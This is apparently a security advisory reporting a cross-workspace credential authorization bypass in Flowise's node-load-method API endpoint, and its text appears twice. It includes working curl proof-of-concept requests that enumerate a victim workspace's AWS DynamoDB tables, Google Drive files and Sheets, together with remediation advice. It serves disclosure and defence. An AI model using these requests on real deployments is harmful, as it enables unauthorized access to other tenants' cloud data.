Summary
POST /api/v1/node-load-method/:name allows an authenticated low-privilege user to invoke component loadMethods with attacker-controlled nodeName, loadMethod, inputs, and credential values.
The endpoint is mounted as a normal API route and has no route-level permission check. More importantly, the credential selected by the caller is not verified against the caller's active workspace or shared-workspace permissions before being used by component load methods.
Several load methods call getCredentialData(nodeData.credential, options), which resolves credentials by raw Credential.id and decrypts the credential without enforcing Credential.workspaceId.
As a result, a low-privilege user or workspace API key in Workspace A can supply a Credential ID owned by Workspace B and make Flowise perform third-party provider calls with Workspace B's credential. This lets Flowise act as a confused deputy and return third-party provider metadata to the attacker.
Tested commit:
8842d52ea23a08819f63f88ac02983dfd2cb7851
Suggested severity:
High
Suggested CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Suggested CWE:
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-862: Missing Authorization
Details
Affected route and call chain:
-
packages/server/src/routes/index.ts
- mounts
/node-load-method as a normal API route.
-
packages/server/src/routes/node-load-methods/index.ts
POST /api/v1/node-load-method/:name has no checkPermission or credential-scoping middleware.
-
packages/server/src/controllers/nodes/index.ts
- copies the attacker-controlled request body into
body;
- adds
body.searchOptions = getWorkspaceSearchOptionsFromReq(req);
- passes the body to
nodesService.getSingleNodeAsyncOptions.
-
packages/server/src/services/nodes/index.ts
- resolves
componentNodes[nodeName];
- invokes
nodeInstance.loadMethods[methodName] with attacker-controlled nodeData;
- passes
searchOptions, but generic credential helpers do not enforce it.
-
packages/components/src/utils.ts
getCredentialData(selectedCredentialId, options) resolves credentials by Credential.findOneBy({ id }) and decrypts the credential.
-
packages/server/src/services/credentials/index.ts
- normal credential read paths are workspace-scoped through
{ id, workspaceId } or getWorkspaceSearchOptions(workspaceId), showing the intended authorization boundary.
Statically identified affected load methods include:
- Google Drive
listFiles
- Google Sheets
listSpreadsheets
- AWS DynamoDB KV Storage
listTables
The issue is not that the raw credential secret is returned. The issue is that Flowise uses a credential belonging to another workspace server-side and returns provider metadata to the attacker.
The Credential ID is an object reference, not an authorization grant. Possession of a credential UUID should not allow a user in Workspace A to use Workspace B's Google or AWS account through Flowise.
PoC
Prerequisites
- Workspace A: attacker workspace.
- Workspace B: victim workspace.
- The attacker has a low-privilege Workspace A API key.
- The Workspace A key does not have
credentials:view, credentials:create, credentials:update, admin, or connector-management permissions.
- Workspace B owns a provider credential that is not shared with Workspace A.
- The victim provider account contains a harmless deterministic test resource, for example:
- AWS DynamoDB table:
victim_poc_orders in us-east-1;
- Google Drive file:
victim-poc-private-doc;
- Google Sheets spreadsheet:
victim-poc-private-sheet.
Negative control: attacker cannot read the victim credential through the normal credential API
curl -i "$BASE/api/v1/credentials/$VICTIM_CREDENTIAL_ID" \
-H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY"
Expected result:
If database access is available, the following evidence can also be captured:
select id, credentialName, workspaceId
from credential
where id = '<victimCredentialId>';
select *
from workspace_shared
where sharedItemId = '<victimCredentialId>'
and itemType = 'credential';
Expected evidence:
credential.workspaceId = <workspaceB>;
- no
workspace_shared row grants the credential to Workspace A.
Positive control A: AWS DynamoDB table enumeration using the victim credential
curl -i -X POST "$BASE/api/v1/node-load-method/awsDynamoDBKVStorage" \
-H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
-H "Content-Type: application/json" \
--data '{
"loadMethod": "listTables",
"credential": "'"$VICTIM_AWS_CREDENTIAL_ID"'",
"inputs": {
"region": "us-east-1"
}
}'
Vulnerable result:
[
{
"label": "victim_poc_orders",
"name": "victim_poc_orders",
"description": "Table with pk (partition) and sk (sort) keys"
}
]
Provider-side evidence, when available:
- CloudTrail shows
ListTables and DescribeTable events.
- The identity is the victim Workspace B IAM user or assumed role.
- If
roleArn is used, Flowise may generate an STS session name such as FlowiseSession-<timestamp>.
Positive control B: Google Drive file enumeration using the victim credential
curl -i -X POST "$BASE/api/v1/node-load-method/googleDrive" \
-H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
-H "Content-Type: application/json" \
--data '{
"loadMethod": "listFiles",
"credential": "'"$VICTIM_GOOGLE_DRIVE_CREDENTIAL_ID"'",
"inputs": {
"maxFiles": 100,
"includeSharedDrives": true,
"fileTypes": ["application/vnd.google-apps.document", "application/pdf", "text/plain"]
}
}'
Vulnerable result:
[
{
"name": "google-drive-file-id",
"label": "victim-poc-private-doc",
"description": "Type: Google Doc (My Drive) | Modified: ..."
}
]
Positive control C: Google Sheets enumeration using the victim credential
curl -i -X POST "$BASE/api/v1/node-load-method/googleSheets" \
-H "Authorization: Bearer $WORKSPACE_A_LOW_PRIV_KEY" \
-H "Content-Type: application/json" \
--data '{
"loadMethod": "listSpreadsheets",
"credential": "'"$VICTIM_GOOGLE_SHEETS_CREDENTIAL_ID"'",
"inputs": {}
}'
Vulnerable result:
[
{
"name": "google-sheet-file-id",
"label": "victim-poc-private-sheet",
"description": "Modified: ..."
}
]
For Google proofs, use a non-expired access token if possible so the main evidence does not depend on the OAuth refresh route. If the stored token is expired, Flowise can still refresh it server-side, but the core issue remains the unscoped credential lookup and provider call through node-load-method.
Impact
A low-privilege authenticated user can use Flowise as a confused deputy against third-party accounts configured in another workspace.
The attacker can:
- enumerate victim Google Drive file IDs, file names, MIME categories, and modified timestamps;
- enumerate victim Google Sheets spreadsheet IDs and names;
- enumerate victim AWS DynamoDB table names and compatible key schema metadata;
- trigger OAuth refresh or AWS STS AssumeRole flows through credentials outside the attacker's workspace;
- consume provider API quota;
- create provider-side audit events under the victim credential.
This crosses both a Flowise workspace boundary and an external provider account boundary. The attacker does not need access to the raw credential secret; server-side use of the victim credential is the impact.
Why this is not a duplicate of the public Agentflow OAuth refresh issue
This does not require /api/v1/oauth2-credential/refresh to return token material, and it does not depend on public Agentflow metadata leaking a credential ID.
The vulnerable primitive is the generic node-load-method dispatcher combined with globally resolved credential IDs. The exploit result is server-side use of a foreign credential to enumerate third-party provider resources.
Suggested remediation
- Add an explicit permission gate to
POST /api/v1/node-load-method/:name.
- Before invoking any load method, collect credential IDs from
nodeData.credential and nested config fields and verify they belong to req.user.activeWorkspaceId or are explicitly shared with that workspace.
- Replace generic
getCredentialData(id) in server-invoked load methods with a workspace-aware resolver.
- Make workspace context mandatory for credential resolution.
- Add regression tests:
- Workspace A can call
node-load-method with a Workspace A credential.
- Workspace A cannot call
node-load-method with a Workspace B credential.
- Workspace A can call
node-load-method only if Workspace B explicitly shared that credential.
Summary
POST /api/v1/node-load-method/:nameallows an authenticated low-privilege user to invoke componentloadMethodswith attacker-controllednodeName,loadMethod,inputs, andcredentialvalues.The endpoint is mounted as a normal API route and has no route-level permission check. More importantly, the credential selected by the caller is not verified against the caller's active workspace or shared-workspace permissions before being used by component load methods.
Several load methods call
getCredentialData(nodeData.credential, options), which resolves credentials by rawCredential.idand decrypts the credential without enforcingCredential.workspaceId.As a result, a low-privilege user or workspace API key in Workspace A can supply a Credential ID owned by Workspace B and make Flowise perform third-party provider calls with Workspace B's credential. This lets Flowise act as a confused deputy and return third-party provider metadata to the attacker.
Tested commit:
8842d52ea23a08819f63f88ac02983dfd2cb7851Suggested severity:
HighSuggested CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:NSuggested CWE:
Details
Affected route and call chain:
packages/server/src/routes/index.ts/node-load-methodas a normal API route.packages/server/src/routes/node-load-methods/index.tsPOST /api/v1/node-load-method/:namehas nocheckPermissionor credential-scoping middleware.packages/server/src/controllers/nodes/index.tsbody;body.searchOptions = getWorkspaceSearchOptionsFromReq(req);nodesService.getSingleNodeAsyncOptions.packages/server/src/services/nodes/index.tscomponentNodes[nodeName];nodeInstance.loadMethods[methodName]with attacker-controllednodeData;searchOptions, but generic credential helpers do not enforce it.packages/components/src/utils.tsgetCredentialData(selectedCredentialId, options)resolves credentials byCredential.findOneBy({ id })and decrypts the credential.packages/server/src/services/credentials/index.ts{ id, workspaceId }orgetWorkspaceSearchOptions(workspaceId), showing the intended authorization boundary.Statically identified affected load methods include:
listFileslistSpreadsheetslistTablesThe issue is not that the raw credential secret is returned. The issue is that Flowise uses a credential belonging to another workspace server-side and returns provider metadata to the attacker.
The Credential ID is an object reference, not an authorization grant. Possession of a credential UUID should not allow a user in Workspace A to use Workspace B's Google or AWS account through Flowise.
PoC
Prerequisites
credentials:view,credentials:create,credentials:update, admin, or connector-management permissions.victim_poc_ordersinus-east-1;victim-poc-private-doc;victim-poc-private-sheet.Negative control: attacker cannot read the victim credential through the normal credential API
Expected result:
HTTP/1.1 403 ForbiddenIf database access is available, the following evidence can also be captured:
Expected evidence:
credential.workspaceId = <workspaceB>;workspace_sharedrow grants the credential to Workspace A.Positive control A: AWS DynamoDB table enumeration using the victim credential
Vulnerable result:
[ { "label": "victim_poc_orders", "name": "victim_poc_orders", "description": "Table with pk (partition) and sk (sort) keys" } ]Provider-side evidence, when available:
ListTablesandDescribeTableevents.roleArnis used, Flowise may generate an STS session name such asFlowiseSession-<timestamp>.Positive control B: Google Drive file enumeration using the victim credential
Vulnerable result:
[ { "name": "google-drive-file-id", "label": "victim-poc-private-doc", "description": "Type: Google Doc (My Drive) | Modified: ..." } ]Positive control C: Google Sheets enumeration using the victim credential
Vulnerable result:
[ { "name": "google-sheet-file-id", "label": "victim-poc-private-sheet", "description": "Modified: ..." } ]For Google proofs, use a non-expired access token if possible so the main evidence does not depend on the OAuth refresh route. If the stored token is expired, Flowise can still refresh it server-side, but the core issue remains the unscoped credential lookup and provider call through
node-load-method.Impact
A low-privilege authenticated user can use Flowise as a confused deputy against third-party accounts configured in another workspace.
The attacker can:
This crosses both a Flowise workspace boundary and an external provider account boundary. The attacker does not need access to the raw credential secret; server-side use of the victim credential is the impact.
Why this is not a duplicate of the public Agentflow OAuth refresh issue
This does not require
/api/v1/oauth2-credential/refreshto return token material, and it does not depend on public Agentflow metadata leaking a credential ID.The vulnerable primitive is the generic
node-load-methoddispatcher combined with globally resolved credential IDs. The exploit result is server-side use of a foreign credential to enumerate third-party provider resources.Suggested remediation
POST /api/v1/node-load-method/:name.nodeData.credentialand nested config fields and verify they belong toreq.user.activeWorkspaceIdor are explicitly shared with that workspace.getCredentialData(id)in server-invoked load methods with a workspace-aware resolver.node-load-methodwith a Workspace A credential.node-load-methodwith a Workspace B credential.node-load-methodonly if Workspace B explicitly shared that credential.